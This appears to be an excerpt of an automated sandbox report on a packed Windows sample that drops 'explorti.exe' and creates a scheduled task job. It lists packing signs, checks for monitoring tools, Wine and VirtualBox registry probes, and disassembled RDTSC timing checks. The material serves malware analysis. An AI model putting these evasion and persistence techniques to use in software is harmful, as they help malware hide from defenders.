Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: gNo9ad9KO4.exe

Static file information: File size 1894912 > 1048576

Source: gNo9ad9KO4.exe

Static PE information: Raw size of adkjkfkz is bigger than: 0x100000 < 0x19d200

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Unpacked PE file: 0.2.gNo9ad9KO4.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;adkjkfkz:EW;afyvsewm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;adkjkfkz:EW;afyvsewm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 1.2.explorti.exe.e90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;adkjkfkz:EW;afyvsewm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;adkjkfkz:EW;afyvsewm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 2.2.explorti.exe.e90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;adkjkfkz:EW;afyvsewm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;adkjkfkz:EW;afyvsewm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 7.2.explorti.exe.e90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;adkjkfkz:EW;afyvsewm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;adkjkfkz:EW;afyvsewm:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: explorti.exe.0.dr	Static PE information: real checksum: 0x1d691a should be: 0x1d810c
Source: gNo9ad9KO4.exe	Static PE information: real checksum: 0x1d691a should be: 0x1d810c

Source: gNo9ad9KO4.exe	Static PE information: section name:
Source: gNo9ad9KO4.exe	Static PE information: section name: .idata
Source: gNo9ad9KO4.exe	Static PE information: section name:
Source: gNo9ad9KO4.exe	Static PE information: section name: adkjkfkz
Source: gNo9ad9KO4.exe	Static PE information: section name: afyvsewm
Source: gNo9ad9KO4.exe	Static PE information: section name: .taggant
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: adkjkfkz
Source: explorti.exe.0.dr	Static PE information: section name: afyvsewm
Source: explorti.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 7_2_00EAD82C push ecx; ret

7_2_00EAD83F

Source: gNo9ad9KO4.exe	Static PE information: section name: entropy: 7.988500981589288
Source: gNo9ad9KO4.exe	Static PE information: section name: adkjkfkz entropy: 7.953327902515579
Source: explorti.exe.0.dr	Static PE information: section name: entropy: 7.988500981589288
Source: explorti.exe.0.dr	Static PE information: section name: adkjkfkz entropy: 7.953327902515579

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 1CF6C0 second address: 1CEE86 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 clc 0x0000000a push dword ptr [ebp+122D02D1h] 0x00000010 jmp 00007F4688C929DEh 0x00000015 call dword ptr [ebp+122D34DBh] 0x0000001b pushad 0x0000001c mov dword ptr [ebp+122D1AD8h], ecx 0x00000022 xor eax, eax 0x00000024 cld 0x00000025 mov edx, dword ptr [esp+28h] 0x00000029 jmp 00007F4688C929E9h 0x0000002e mov dword ptr [ebp+122D3B28h], eax 0x00000034 add dword ptr [ebp+122D1AD8h], ebx 0x0000003a mov esi, 0000003Ch 0x0000003f mov dword ptr [ebp+122D1AD8h], esi 0x00000045 mov dword ptr [ebp+122D1AD8h], esi 0x0000004b add esi, dword ptr [esp+24h] 0x0000004f clc 0x00000050 lodsw 0x00000052 clc 0x00000053 add eax, dword ptr [esp+24h] 0x00000057 or dword ptr [ebp+122D1AD8h], ebx 0x0000005d mov ebx, dword ptr [esp+24h] 0x00000061 jmp 00007F4688C929DCh 0x00000066 nop 0x00000067 pushad 0x00000068 push edx 0x00000069 jmp 00007F4688C929DAh 0x0000006e pop edx 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007F4688C929E8h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 33D244 second address: 33D25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4688C1B774h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 33D25C second address: 33D285 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4688C929D6h 0x00000008 jnc 00007F4688C929D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4688C929E5h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 33D285 second address: 33D29F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4688C1B766h 0x00000008 jmp 00007F4688C1B770h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 33D29F second address: 33D2B6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4688C929DAh 0x00000008 pushad 0x00000009 ja 00007F4688C929D6h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 33C07C second address: 33C099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4688C1B766h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F4688C1B76Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 33C099 second address: 33C09D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 33C74D second address: 33C753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 34013F second address: 340144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 340144 second address: 34015E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C1B776h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 34015E second address: 340185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4688C929DDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 340185 second address: 34018B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 34018B second address: 34018F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 34018F second address: 3401E0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F4688C1B771h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F4688C1B76Ch 0x00000018 pop eax 0x00000019 mov dword ptr [ebp+122D33C2h], eax 0x0000001f stc 0x00000020 push 00000003h 0x00000022 mov dword ptr [ebp+122D17A2h], edx 0x00000028 push 00000000h 0x0000002a mov dh, 0Bh 0x0000002c push 00000003h 0x0000002e mov dword ptr [ebp+122D17A2h], ecx 0x00000034 push 9465B82Bh 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3401E0 second address: 3401EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4688C929D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3403A2 second address: 3403AC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4688C1B766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3403AC second address: 3403B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3403B1 second address: 3403B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3403B7 second address: 3403F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F4688C929D8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov ecx, dword ptr [ebp+122D3C04h] 0x0000002a push 00000000h 0x0000002c mov dh, 62h 0x0000002e push D0F05AC1h 0x00000033 push ecx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3403F9 second address: 340480 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a add dword ptr [esp], 2F0FA5BFh 0x00000011 sub si, 5E7Ah 0x00000016 push 00000003h 0x00000018 add dword ptr [ebp+122D36A9h], edx 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 push ecx 0x00000022 mov dx, di 0x00000025 pop ecx 0x00000026 pop edi 0x00000027 push 00000003h 0x00000029 push 59A1D9F2h 0x0000002e jmp 00007F4688C1B770h 0x00000033 add dword ptr [esp], 665E260Eh 0x0000003a mov edx, dword ptr [ebp+122D3AB8h] 0x00000040 lea ebx, dword ptr [ebp+1244502Ch] 0x00000046 push esi 0x00000047 jmp 00007F4688C1B772h 0x0000004c pop ecx 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 js 00007F4688C1B777h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 361403 second address: 361409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 361409 second address: 36140F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36140F second address: 361424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push esi 0x0000000d jne 00007F4688C929D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 32A50D second address: 32A52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F4688C1B76Ch 0x0000000e jnc 00007F4688C1B766h 0x00000014 jg 00007F4688C1B76Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 32A52D second address: 32A543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C929E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 35F3FA second address: 35F3FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 35F3FE second address: 35F40A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F4688C929D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 35F56D second address: 35F57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 35F6D7 second address: 35F6DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 35F6DF second address: 35F6E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 35FB1A second address: 35FB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 35FB1E second address: 35FB22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 35FB22 second address: 35FB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3602E5 second address: 3602EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3602EC second address: 3602F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 35737C second address: 3573B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Ah 0x00000007 push esi 0x00000008 jmp 00007F4688C1B776h 0x0000000d jo 00007F4688C1B766h 0x00000013 pop esi 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push edi 0x00000018 jnp 00007F4688C1B766h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3605C1 second address: 3605C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3605C7 second address: 3605CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3605CB second address: 3605CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3605CF second address: 3605F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4688C1B779h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3605F2 second address: 3605F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3605F6 second address: 360616 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jp 00007F4688C1B766h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4688C1B772h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 360D8E second address: 360D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 360D92 second address: 360DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F4688C1B766h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 32A529 second address: 32A52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36101E second address: 361028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4688C1B766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 361028 second address: 361030 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 361030 second address: 361038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 361038 second address: 36103C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3612BA second address: 3612C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3612C0 second address: 3612C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 36384F second address: 363855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 363855 second address: 363898 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jo 00007F4688C929E4h 0x00000012 pushad 0x00000013 jnl 00007F4688C929D6h 0x00000019 jo 00007F4688C929D6h 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 jmp 00007F4688C929E4h 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push esi 0x0000002c push eax 0x0000002d push edx 0x0000002e jl 00007F4688C929D6h 0x00000034 rdtsc
